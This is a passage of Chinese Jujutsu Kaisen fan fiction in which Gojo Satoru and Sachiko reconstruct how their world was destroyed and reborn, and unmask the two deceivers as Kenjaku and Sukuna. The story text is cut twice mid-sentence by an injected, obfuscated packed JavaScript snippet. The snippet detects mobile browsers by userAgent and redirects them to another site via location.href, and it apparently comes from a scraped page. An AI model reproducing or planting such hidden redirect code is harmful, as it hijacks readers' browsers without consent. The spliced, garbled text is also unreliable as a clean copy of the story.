“不,”五条悟抬起手掌止住这个女人对那两个骗子滔滔不绝的惺惺相惜之情,眼神一言难尽地看着她,“你还是……一点都没搞明白啊。” “诶?”幸子有些错愕地看着他,但很快又恢复镇定。 “没事……”悬停在幸子脸前的手无力地晃了晃,单凭一只手就表达出“泄气”的意味来,“我大概可以猜到找上你的是哪两个人了,其中有一个能把老奸巨猾的老狐狸们都骗得团团转,你被骗也是情理之中,毕竟因为你对咒术界毫无了解,书里面写的基本也都是确实发生过的事情……” 幸子深吸一口气,抱臂往椅背上一靠,一副“哟,我看你怎么编”的样子。 五条悟手肘撑着桌面直起身来,危险的蓝眼死死盯住幸子:“托你的福,我现在总算是搞明白你到底是怎么想的了。” 幸子不置可否地耸了耸肩,示意他随便说下去,她洗耳恭听。 五条悟:“但是,我还是想先问一句,为什么都不想着先好好沟通一下啊?一上来就想杀掉我,明明自己是完全做不出杀人这种事情的善良性格,再想一想那两个世界发生的事情,差点就不是你死就是我亡了诶!” 幸子皱眉:“没有别的方法了,家人、老师、同学、同事和学生对你都造不成任何影响,连有个学生能触及灵魂的超能力都说你没救了,难道我一个陌生人对你嘴炮两句你就会幡然醒悟吗?更何况我只有三次机会,自然只会觉得只有杀掉你一个方法,如果五条先生站在我的立场,想必也会做出同样的选择——而且,我不是说了吗,现在我已经明白这是误会了,你的灵魂或许还是可以拯救一下的,但是——” 她的神情迟疑,不知道该不该继续说下去。 五条悟也眉头紧皱:“算了,先不提这个……为什么在之前的游戏里,你看起来对自己要做什么也毫不知情?” 幸子严肃伸出两根手指:“是出于‘平衡’法则的制约,我放弃了记忆,才能创造出我们两个共同冒险、平等对抗的‘游戏’,所以你的能力也才会被限制——第一个世界是你的六眼,能让你看不到自身以外的‘力量’,同时确保你可以用六眼来监控和精细操控自身的咒力,让你更难察觉到六眼的失灵;第二个世界,限制的是你的咒力。” 幸子放下一根手指,笔挺的中指凌然对着五条悟。 她的眼神也不屈不挠:“只是没想到,失去六眼的你依然战斗力很强,复杂的术式也能操控,□□的强度也很高,不过好在失去记忆的我反应也很快,及时更改了一些设定。” “那不过是肌肉记忆啦。”五条悟翘起二郎腿,摊开右手耸了耸肩,语气得意自满,语调上扬,俨然已经把幸子的话当成了夸赞。 说完,他宽大的手掌随意顺了顺头发,把雪白的发丝向后拨去,露出挺拔的眉峰和鼻骨,却也遮掩住了复杂的神情。 没有……六眼吗? 长期以来,“六眼”这个词都和他绑定在一起,说到“六眼”就是“五条悟”,说到“五条悟”就是“六眼”。 就连他自己,为了避免信息过载,也更加习惯使用六眼而非肉眼来认知这个世界。 对游戏里的他而言,因为早先在小时候体会过了自己咒力被封印的经历,所以自然地也接受了世界的咒力也是可以被封印的。 完全没有考虑过是自己的六眼被限制了。 换而言之,不是世界失去了色彩,而是他自己变成了色盲。 是凑巧吗?还是……深思熟虑的谋划? 放下手时,他发现幸子面无表情,笔直的中指还对着自己。 五条悟:“……” 他无语地开口:“可以把手指放下了吧,虽然我差点杀死你,但你之前不也差点让我死掉了……” “我还没讲完呢!”幸子惆怅地收回目光,看着自己的中指,“我之前不是说过,即使心中想的一切都会实现,我也不能更改已经发生的事情,能力也不能作用于你,所以,为了能够召唤你,作为交换……” 她悲痛地长叹一口气:“我被剥夺了可以喝醉的能力。” 五条悟:“……” 幸子一拍桌子:“你这是什么表情啊?!想一想是你的话,可能就会被夺走能品尝到甜味的能力,或者‘吃到甜的大脑会分泌多巴胺感到快乐’这一生理反应,你就明白我究竟做出多大的牺牲了。” “……我明白了,”五条悟沉痛地捂住脸,“你的牺牲太伟大了。” 他声音闷闷地从指缝间透出来,更加悲痛地控诉:“可是,为什么你的召唤面板上都是别人的名字。” 像是丈夫发现妻子出轨叫着“你这只偷腥猫!”一般的浮夸语气。 幸子尴尬地挠了挠脸颊。 她心虚地撇开眼:“虽然这么说一定会让人有‘啊果然日本人就是造汽车和画动漫’的刻板印象,但是读那本小说的时候,确实会忍不住在脑子里想象如果改编成tv版会是什么样子……” “主角的话,小时候拽拽的,大概声音会很像伊濑茉莉也。后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323370|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是变成了反派,但要一说到反派就是什么子安武人未免也太刻板印象了,再加上书里的五条悟似乎是个伪装得很有人格魅力又可靠的角色,想来想去还是中村悠一吧。至于最后那种黑化之后了无生气和干劲于是想和世界同归于尽的中年丧感,或许杉田智和配出来别有一番风味……” “再说了,谁会对和变态反派正面对决这种事情充满积极性啊,一想到我要打五条悟只会觉得‘啊?真的假的?!’,所以就只能这样假装是抽卡,给失去记忆的自己一点仪式感和惊喜感了。” 五条悟低低笑了两声,成年男性低沉醇厚、又带着一点屑感的声线,让幸子默默止住了吐槽。 她在心里对自己表示认可——选得还是很贴的。 一聊起这个,好像注意力就忍不住放到五条悟的声音上,连他开口问“为什么召唤出来的会是不同年龄的我?”时,幸子都只顾着品味成熟磁性的声线,完全意识不到他问了什么。 “喂喂,回神啦——” 屑屑的声音,拖得长长的,把人拉回现实。 幸子愣了一下,诚实地对他解释:“也是出于‘平衡’的法则。封印你的咒力,那么你的六眼起码会是全新无暇的,封印你的六眼,那么你至少能有一些战斗经验,至于最后一个世界,面对心智和经验都最成熟的你,应该是能做到六眼和咒力都完全封印掉……” 只是没想到,最终是五条悟自己闯了进来,把一切都打破了。 五条悟若有所思,想起曾经甚至有过咒力和六眼突然恢复的意外情形—— 小团子的他曾经拥有过一瞬间咒力,而且最终从“勇者之剑”中射出的那股咒力,他分明是用六眼感知辨别过的。 想来并不是什么错觉,而是幸子那时自己突破了一点记忆的束缚。 “喂,也轮到你跟我说说,你所认为的‘真相’了吧,然后我才能决定要不要继续杀你——搞不好最后发现,你根本就是我从另外一个平行世界强行召唤过来的,所以才和我们世界的五条悟完全不一样,然后我们要合作一起打败这个世界的邪恶五条悟!” 幸子的声音打断了五条悟的思考。 他抬头望去,眼前的女人红发张扬,下巴微抬,神情挑衅,眉目扬着怀疑的弧度。 一副大脑已然在飞速运转,时刻准备找出他话语中漏洞的样子。 但五条悟已经从她脑洞大开的猜想中,感受到她是真的非常不想杀掉他。 啊呀,即使是他们这样阴差阳错凑一起的表面夫妻,也是有点真心的吗? “好,”他沉稳地应下,双手交叉抵住下巴,嘴角微弯,“为了你能信任我,我所经历的一切,我最开始是怎么以为的,听了你这番话我又有什么新的认识,都会一五一十、毫无保留地告诉你。” 五条悟笑得春风拂面,苍眸柔情款款,眼波撩人,只在最微小的涟漪中透露出一丝调笑的坏心思:“毕竟我们是夫妻嘛,夫妻间最重要的就是坦诚和信任了。” 29.老公悟 2018年11月26日。 五条悟起初并不知道那天是11月26日。 狱门疆内的时间不会流动,他无聊地弹着眼罩,漫不经心地想着,出去之后,如果可爱的学生和同事们还没干掉那个假夏油的话,他第一件事绝对是去干掉他。 然后一定要把狱门疆毁掉,再然后有点想吃南青山的那家松饼…… 要不然还是先去约个决战时间,就直接去吃松饼吧,怎么能饿着肚子打架呢…… 就在这时,他突然察觉到狱门疆里的咒力在发生剧变。 转瞬之间,所有束缚住他的咒力都消失了。 不愧是他的学生,五条悟勾起嘴角,轻轻松松地跳了出去。 按照计划,应该先去找那个假夏油才对,但是学生们格外焦急又欣喜的神情却让他猛地收住了脚。 发生什么了?这么肉麻吗,五条悟摸了摸起鸡皮疙瘩的手臂,准备先开个玩笑化解一下这个凝重的气氛。 “五条老师!事态紧急,我就长话短说了,占据夏油身体的咒术师是羂索,他的目的是让天元大人和全日本人融合,创造出一个巨大的咒灵!” “准确来说,融合已经开始了!” “根据观察,那个怪物没有清醒的意志,它就像一个磁铁,会自动找向咒力最强的目标并且将其吞噬,现在的引力已经大到无法抵抗了。” “按照我们的推断,它马上就会过来,老师,我们的计划是——” 晚了。 甚至早于感受到突然袭来的巨大咒力,五条悟先感受到的是时空的扭曲。 和学生们提供的信息不一样,被吸过去的不仅是拥有咒力的存在,连大地都在颤抖,轰然作响,似乎要被巨力牵扯着变形隆起。 他当机立断迅速瞬移。 古怪的是,明明是在往远处逃离,感觉却是自己在往咒力集中的中心运动。 就好像是时空的本身在变形坍缩,变成了完全超乎常理的结构,方向已经失去了意义,无论往哪个方向移动,都是朝着咒力最为密集的中心靠近。 这哪是融合出了一个巨大的咒灵哥斯拉?! 这分明是一个咒力形成的黑洞! 不用亲眼见证,光从理论推断,他都可以想象一切是怎么形成的。 咒力被强行聚拢,并没有变成了一个类似于生物体的存在,反而是核心巨大的能量,形成现在这个黑洞一般的恐怖效果。 该死,这些喜欢搞生物实验的反派能不能学习一点物理常识啊! 即使是这种无可奈何的绝境,五条悟还有心思乐观地想,还好学生们先把他从狱门疆里救出来了。 不然就真的永远被困在狱门疆里,不知道外面发生了什么,也不知道外面的世界已经空无一人。 世界永远地停在了2018年11月26日,早晨7:05。 此刻的幸子,还在安稳的睡眠之中,浑然不知她所身处的世界已经毁灭。 * “听起来很绝望啊,感觉世界完蛋了……”幸子客观地评价道。 “是有点啦,”五条悟咧嘴一笑,“但是——你无所不能的老公刚好是最强,又刚好~有办法解决这个问题,甚至可以说,我就是解决这个困境的最佳人选。” 幸子:? 好不要脸。 五条悟得意地摊手:“因为我的术式和物理的关系很密切,可以肯定地说,我是咒术师中物理最好的人了,也正是因为如此,在每一个挽救世界的关键节点,我都做出了正确的决定哦。” 幸子:“……” 算了,先听听他怎么说吧。 * 五条悟用无下限抵御着混乱又巨大咒力的撕扯,却突然发现,一切还有可以挽救的余地。 因为咒力核心的巨大能量不但让空间变形,也让时间变形了。 换而言之,越靠近核心,时间的流逝越慢。 尽管从外界看上去已经过去了有一段时间,内部的融合其实并未完全完成。 * 幸子皱起眉头:“我不理解,为什么?” 五条悟用手指在空中画着螺旋状的圈:“看过《星际穿越》吧?男主被吸入黑洞之后只过了很短的一段时间,但是在外界却过了几十年,同理,即使都被这个咒力黑洞吸进去了,其实所有人还并未完全融合成一体。刚好因为六眼可以看清咒力的流向和质感,所以我很清楚发生了什么。” * 于是,五条悟不再强行抵抗奇点的吸力,而是选择纵身向深处跃去。 * 幸子好奇地问:“黑洞的中心是什么?也是一个电影里那样的五维空间吗?” 五条悟挥了挥手:“我叫它‘黑洞’只是为了方便你理解,究其本质而言,只是一个有着巨大密度、能量和引力的咒力聚合体。你要知道,咒力是很强大的能量,像我的程度,轻轻松松就可以毁灭一个城市,努努力的话,一个国家、甚至整个世界也不是不行,所以这个像是人造‘恒星’一样的东西才形成了类似黑洞的效果。” 幸子向后仰去:“喂喂,你又不小心说出了反派一样的话哦,什么毁灭城市,毁灭国家,毁灭世界……” “真是反派就不会辛辛苦苦在这里收拾反派弄出来的烂摊子了。” 五条悟撇着嘴,继续讲了下去。 * 他用无下限保护着自己,抱着试一试的态度,直接跃入了核心。 从六眼的角度看来,无数人的咒力就像星云与尘埃一样,被吸入中心区域。 或许……可以用“赫”的强大排斥力,把所有人的咒力都推出去,让这个球体解体? 这会不会就是学生们一开始拟定的计划,所以才急着把他从狱门疆里救出来? 不,不行。 物理常识让他意识到,此刻要是把紧密相互吸引的咒力直接强行拆开,一定会造成类似于核裂变一样的效果。 届时,比核弹爆炸还要强大的巨大能量,将会彻底导致世界的毁灭。 快速思考后,他选择了最保守的做法——将自身无下限的范围延展,保护住了所有人。 所有人都被一股温和的蓝色咒力包裹住。 这股蓝色咒力在咒力与咒力之间隔断,形成了一个无限趋近却永远无法合并的空间,让每个人都保持住了稳固的自我边界。 然而,将自身纳入核心以及如此超负荷使用咒力的负面效果也随之而来,五条悟发现自己的□□在消减,他越来越趋向于“咒灵”的存在,只剩下单一的执念,记忆和人性在飞速丧失。 该死。 五条悟心绪震荡,差点维持不住巨大范围的无下限屏障。 那些他用六眼所看到的咒力,会不会也和他类似,其实已经同化成咒灵,完全不是“人类”了吧? 是不是……终究……已经没有办法…… 不,不能放弃。 他的意志依旧牢牢地,将自己的咒力铸就成全人类消失的最后一道防线。 他迟缓地想到有些咒术师可以制作让死者受肉复生的咒物,这是因为咒力中包含着灵魂的信息,从这个角度出发,他的努力可能不会是徒劳。 通过阻止咒力的融合,他或许可以保存住所有人类的灵魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336130|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但是他现在能做的,也只有等待。 外面的世界,究竟变成什么样了呢? 如果还有人没有被吸进来,如果还有人可以想办法…… 那么这个世界还有重生的希望。 五条悟这么想着,作为人类意识的部分坠入沉沉的、不见底的深渊。 * “所以……”幸子吃惊地指向自己,“那个没有被吸进去的人,以及成为新的创世神的人,就是我?” “是这样没错,”五条悟沉稳地点了点头。 “为什么是我啊?” 幸子痛苦地瘫倒在桌上,类似的话,她已经仰天长问了无数次。 “大概因为幸子真的很幸运吧,七十六亿分之一的头奖,被幸子抽中了哦,创世神大人。”五条悟带着“恭喜恭喜”的灿烂笑容拍起了手。 幸子从手臂中抬起头瞪了像是在幸灾乐祸的五条悟一眼。 五条悟接着说了下去:“后面发生了什么事我也不清楚,但是世界毁灭再重生的流程,或许正如那两个人向你解释的那样,只不过,我们世界是以一种人为的非常规方式完成‘受胎’,变成等待‘真理’的混沌存在。” 说完,他想起什么似的,又补充道:“不,也不能说后来什么也没发生,不过要解释清楚后来又发生了什么,需要幸子给我展示一下你所看见的那个作为世界力量之源的‘迦具土’。” 幸子神色如常:“就在空中啊。” 头顶的天花板忽然消失,明朗的阳光温暖地倾洒在他们身上。 幸子指着太阳,自己却没有抬眼看它:“这个就是迦具土,不过因为太讨厌它了,所以搞了个像是□□里遮挡某些器官的圣光把它挡住,看起来就像太阳一样。” 五条悟:“……” 不要随随便便把别人当做什么□□里的某些器官啊! 他抬头望去时,圣光已经被撤下。 广袤的晴空中,一颗外红内蓝的诡异魔眼,冰冷地注视着他。 “确实很像眼睛啊。”他眨了眨和空中如出一辙的苍蓝之眼,喃喃自语。 总算知道,为什么一开始幸子会这么恐惧他的眼睛了。 五条悟解释:“正中间像是蓝色眼珠一样的东西,就是我和全人类咒力的聚合体,至于外面的红色眼白——” * 在五条悟艰难地维持着引力和斥力的相互平衡时,异变突生。 有一些既不愿意融合、也不愿意被他掌控的咒力,在一股和他不相上下强大的红色咒力带领下,突破了这个咒力星体的引力,向外逃逸。 这个行为的副作用是巨大的能量向外迸发,几乎要产生爆炸,让五条悟险些维持不住这个本已经稳固住的核心。 更重要的是,他也不能放这些人离开。 只剩下“保护大家”的执念、更偏向于咒灵存在的五条悟,用全部的意志和精密的计算,拼尽全力,竟然能够同时用“苍”扯住了那些心怀不轨,逃逸出去绝对是想要做些什么的咒力,艰难地维系住了这一系统的微妙平衡。 核心内部的所有个体相互吸引又相互排斥,而那些逃逸出去的个体也被牢牢吸附在巨大核心的周围。 也就是“瞳孔”外圈的那一层,星云一般的红色“眼白”。 * 五条悟带着意味深长的笑容,伸出两根手指:“现在,我可以告诉你,当时来骗你的两个人是谁了。” “促成世界转生的‘创世女神’,也就是咒力大融合的始作俑者,羂索。而声称要破坏一切的路西法,也就是在古代同样被称为‘堕天’的,两面宿傩。”